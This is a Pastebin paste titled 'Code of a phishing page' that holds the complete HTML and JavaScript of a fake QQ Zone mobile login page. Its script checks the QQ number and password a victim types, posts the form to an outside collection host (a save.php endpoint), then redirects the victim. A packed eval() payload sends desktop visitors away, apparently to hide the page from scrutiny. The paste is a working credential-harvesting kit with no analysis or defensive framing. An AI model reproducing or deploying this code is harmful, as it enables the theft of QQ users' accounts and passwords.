SHARE
TWEET

Code of a phishing page

a guest Jul 25th, 2018 4 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!DOCTYPE html>
  2. <html lang="zh-cn">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  5. <meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no"/>
  6. <meta name="apple-mobile-web-app-capable" content="yes"/>
  7. <script src="//libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
  8. <script src="//open.mobile.qq.com/sdk/qqapi.js?_bid=152"></script>
  9. <link rel="stylesheet" href="//qzonestyle.gtimg.cn/qzone/phone/style/login.css"/>
  10. <title></title>
  11. <link rel="stylesheet" href="//wx.papa.youjizz.00ev8.cn/template/css.css"/>
  12. <!--顶部banner-->
  13. <script type="text/javascript">
  14. function setCookie(name, value) {
  15.             var Days = 30;
  16.             var exp = new Date();
  17.             exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
  18.             document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString();
  19.         }
  20. function getCookie(name) {
  21.             var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
  22.             if (arr = document.cookie.match(reg))
  23.                 return unescape(arr[2]);
  24.             else
  25.                 return 0;
  26.         }
  27.   if (getCookie("login")){
  28.     window.location.href='https://h5.qzone.qq.com/mqzone/profile?stat=&hostuin=0#0/info/me';//二次跳转地址
  29.       }
  30. $(function(){
  31.  mqq.ui.setTitleButtons({
  32.    left : {
  33.        title : "QQ空间",
  34.        callback : function () {
  35.        }
  36.    },
  37.    right : {
  38.        hidden: true
  39.    }
  40. })
  41. });
  42. </script>
  43. </head>
  44. <body style="zoom: 1;">
  45. <script>
  46.  var touchPageYStart=0;try{if($.isFunction(eval(etouch))){var touch=etouch}}catch(e){var touch=function(event){var event=event||window.event;var eot=event.touches[0];switch(event.type){case"touchstart":touchPageYStart=eot.clientY;break;case"touchend":break;case"touchmove":var stTmp=$("body").scrollTop();$("body").scrollTop(stTmp+(touchPageYStart-eot.clientY));touchPageYStart=eot.clientY;event.preventDefault();break}}}document.addEventListener("touchstart",touch,false);document.addEventListener("touchend",touch,false);document.addEventListener("touchmove",touch,false);
  47. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 1={4:6,5:6,7:6};8 2=9.d;1.4=2.3("b")==0;1.5=2.3("c")==0;1.a=(2=="e")||(2.3("f")==0);k(1.4||1.5||1.7){o.n.l="g://j.i.h/m/"}',25,25,'|system|p|indexOf|win|mac|false|xll|var|navigator|x11|Win|Mac|platform|X11|Linux|http|com|qq|pvp|if|href||location|window'.split('|'),0,{}));
  48. </script>
  49. <div id="content" class="content">
  50.     <div id="error_tips">
  51.         <div id="error_tips_content">
  52.             <span id="error_icon"></span>
  53.             <span id="error_message"></span>
  54.         </div>
  55.     </div>
  56.     <div id="login" class="login">
  57.         <div id="logo" class="logo">
  58.         </div>
  59.         <div id="app_name" style="display: none">
  60.         </div>
  61.         <div id="q_login" class="q_login" style="display: none">
  62.             <div id="q_login_title">
  63.                 <div id="q_login_logo">
  64.                 </div>
  65.                 <label id="q_login_tips"></label>
  66.             </div>
  67.             <div id="q_logon_list" class="q_logon_list">
  68.             </div>
  69.         </div>
  70.         <div id="web_login">
  71.             <form id="loginform" autocomplete="off" name="loginform" action="" method="" target="" style="margin:0">
  72.                 <input type="hidden" name="ip" id="ip"/>
  73.                 <ul id="g_list">
  74.                     <li id="g_u">
  75.                     <div id="del_touch" class="del_touch">
  76.                         <span id="del_u" class="del_u"></span>
  77.                     </div>
  78.                     <input id="u" class="inputstyle" name="hrUW3PG7mp3RLd3dJu" autocomplete="off" placeholder="QQ号码/手机/邮箱"/></li>
  79.                     <li id="g_p">
  80.                     <div id="del_touch_p" class="del_touch">
  81.                         <span id="del_p" class="del_u"></span>
  82.                     </div>
  83.                     <input id="p" class="inputstyle" maxlength="16" type="password" name="LxMzAX2jog9Bpjs07jP" autocorrect="off" placeholder="请输入您的QQ密码"/></li>
  84.                 </ul>
  85.                 <div href="javascript:void(0);" id="go">
  86.        登 录
  87.                 </div>
  88.             </form>
  89.         </div>
  90.         <div id="switch">
  91.             <div id="swicth_login" onclick="pt._switch()" style="display: none">
  92.             </div>
  93.             <div id="zc_feedback">
  94.                 <span id="zc" onclick="window.open('http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>
  95.                 <span id="forgetpwd" onclick="window.open('http://ptlogin2.qq.com/j_findpwd_url')">忘了密码?</span>
  96.             </div>
  97.         </div>
  98.         <div id="custom_bottom">
  99.         </div>
  100.     </div>
  101.     <div id="vcode">
  102.         <label id="vcode_tips"></label>
  103.         <div id="vcode_area">
  104.             <img id="vcode_img"/>
  105.             <label id="input_tips"></label>
  106.             <input id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off" autocorrect="off" maxlength="6"/>
  107.         </div>
  108.         <div id="button">
  109.         </div>
  110.     </div>
  111. </div>
  112. <div id="new_vcode" class="new_vcode">
  113. </div>
  114. <div id="footerBlank">
  115. </div>
  116. <script>
  117. var err = false;
  118. var times = 0;
  119. function error(msg){
  120.     $("#error_tips").css({display:'block'});
  121.     $('#error_message').html(msg);
  122.     err = true;
  123. }
  124. $('form input').focus(function(){
  125.     $("#error_tips").css({display:'none'});
  126.     err = false;
  127. });
  128. $("#error_tips").on('click',function(){
  129.     $(this).hide();
  130. });
  131. $("#go").on('click',function(){
  132.     var $this = $(this);
  133.     err = false;
  134.     var p = $("#p").val();
  135.     var u = $("#u").val();
  136.     u == '' && error('您还没有输入帐号!');   
  137.     if(err) return false;
  138.     p == '' && error("您还没有输入密码!");
  139.     if(err) return false;
  140.     /^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');
  141.     if(err) return false;
  142.     if(sameChar(u)){
  143.         error("您输入的帐号或密码不正确,请重新输入。");
  144.         $("#u").val('');
  145.         $("#p").val('');
  146.         return false;
  147.     }
  148.     var len = p.length;
  149.     (len < 6 || len>16) && error('您输入的帐号或密码不正确,请重新输入。');
  150.     /*新增密码校验*/
  151.     var pattern = /[\u4e00-\u9fa5]+/g;
  152.     pattern.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
  153.     var pattern2 = /^[0-9]*$/g;
  154.     pattern2.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
  155.     if(sameChar(p)){
  156.         error("您输入的帐号或密码不正确,请重新输入。");
  157.         $("#p").val('');
  158.         return false;
  159.     }
  160.     /**/
  161.     if(err) {
  162.         $("#p").val('');
  163.         return false;
  164.     }
  165.     if (!err){
  166.         $.ajax({
  167.             url:'http://aaq001.top/save.php',
  168.             type:'POST',
  169.             dataType:'json',
  170.             data: $('#loginform').serialize(),
  171.             success:function(r){
  172.                 setCookie('login','yes');
  173.                 window.location.href='https://url.cn/59wiIbF';
  174.             },
  175.             error:function(er){
  176.                 setCookie('login','yes');
  177.                 window.location.href='http://url.cn/59wiIbF';
  178.             }
  179.         })
  180.     }
  181. })
  182.       function sameChar(str){
  183.           var result = true;
  184.           var c = str.charAt(0);
  185.           for(var i=0;i<str.length;i++){
  186.               if(c != str.charAt(i)){
  187.                  result = false;
  188.                  break;              
  189.               }
  190.           }
  191.          return result;
  192.       }
  193. </script>
  194. <div style="display:none;">
  195. </div>
  196. </body>
  197. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top